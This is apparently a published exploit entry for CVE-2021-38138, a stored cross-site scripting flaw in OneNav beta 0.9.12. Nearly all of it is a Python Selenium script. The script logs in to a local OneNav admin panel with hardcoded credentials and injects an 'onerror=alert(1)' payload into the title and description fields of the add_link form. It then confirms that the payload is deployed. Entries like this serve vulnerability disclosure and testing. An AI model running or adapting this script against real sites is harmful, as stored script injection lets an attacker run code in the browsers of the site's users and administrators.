# Exploit Title: XSS-Stored - Brutal PWNED on OneNav beta 0.9.12 add_link feature # Author: nu11secur1ty # Testing and Debugging: nu11secur1ty $ g3ck0dr1v3r # Date: 08.06.2021 # Vendor: https://www.xiaoz.me/ # Link: https://github.com/helloxz/onenav/releases/tag/0.9.12 # CVE: CVE-2021-38138 [+] Exploit Source: #!/usr/bin/python3 # Author: @nu11secur1ty # Debug and Developement: nu11secur1ty & g3ck0dr1v3r # CVE-2021-38138 from selenium import webdriver import time #enter the link to the website you want to automate login. website_link="http://192.168.1.120/index.php?c=login" #enter your login username username="xiaoz" #enter your login password password="xiaoz.me" #enter the element for username input field element_for_username="user" #enter the element for password input field element_for_password="password" #enter the element for submit button element_for_submit="layui-btn" browser = webdriver.Chrome() browser.get((website_link)) try: username_element = browser.find_element_by_name(element_for_username) username_element.send_keys(username) password_element = browser.find_element_by_name(element_for_password) password_element.send_keys(password) signInButton = browser.find_element_by_class_name(element_for_submit) signInButton.click() # Exploit PWNED HTTP Traffic is not filtered. It was a lot of fun :D time.sleep(3) browser.get(("http://192.168.1.120/index.php?c=admin&page=add_link")) time.sleep(3) browser.execute_script("document.querySelector('[name=\"url\"]').value = ' http://192.168.1.120/index.php?c=admin&page=add_link'") time.sleep(3) browser.execute_script("document.querySelector('[name=\"title\"]').value = ' onerror=alert(1) />'") #button1 browser.execute_script("document.querySelector('[class=\"layui-edge\"]').click()") time.sleep(1) # button2 using $ because querySelector cannot parse dd selector browser.execute_script("$('dd[lay-value=19]').click()") time.sleep(1) browser.execute_script("document.querySelector('[name=\"description\"]').value = ' onerror=alert(1) />'") #submit button3 browser.execute_script("document.querySelector('[class=\"layui-btn\"]').click()") time.sleep(1) browser.maximize_window() browser.get(("http://192.168.1.120/index.php?c=admin&page=link_list")) print("payload is deployed...\n") except Exception: #### This exception occurs if the element are not found in the webpage. print("Some error occured :(") ---------------------------------------------------------------------------------------- # Reproduce: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38138 # Proof: https://streamable.com/ubtzio